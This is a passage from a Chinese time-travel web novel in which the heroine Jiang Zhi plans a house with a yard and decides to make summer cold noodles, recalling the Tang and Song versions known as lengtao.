所以，明天挑宅子的时候，她还得挑个有点儿小院子的，既方便种些菜，也方便平日里闲来无事干些类似于晒点小鱼干之类的事。 * 忙活完这里，又去瞧了瞧小麻花的读书状态，差不多也是申时了，姜芝拿着外头已经被晒得有些温热的水洗了把脸，便打算开始做饭了。 至于吃什么呢？ 这让姜芝冥思苦想了许久，总算，她想到了！ 干脆，不如吃餐正宗面食！ 穿越这么久，除了那个刀削面之外，姜芝还没吃上餐面呢！ 干脆做餐凉面吃，还方便外售，多好的主意！ 姜芝先是回忆了一下自己曾经在古书上看到的法子： 古代凉面又称作冷淘，具体出名形成代表的有两种，一种是唐朝的槐叶冷淘，另一种是宋朝的甘菊冷淘。 以上是人话，照姜芝的话来讲就是，一个是绿色凉面，一个是黄色凉面。 姜芝这个朝代，两种冷面都已经流传广泛，人们通常根据时令来使用，一般来讲就是春天吃槐叶的，秋天吃甘菊的，至于剩下两个时候，没得卖。 要姜芝说，这就是古人偶尔的不懂变通了 凉面这东西，春秋天吃好吃个屁，要吃就得夏天吃，入嘴微冰，辣的爽！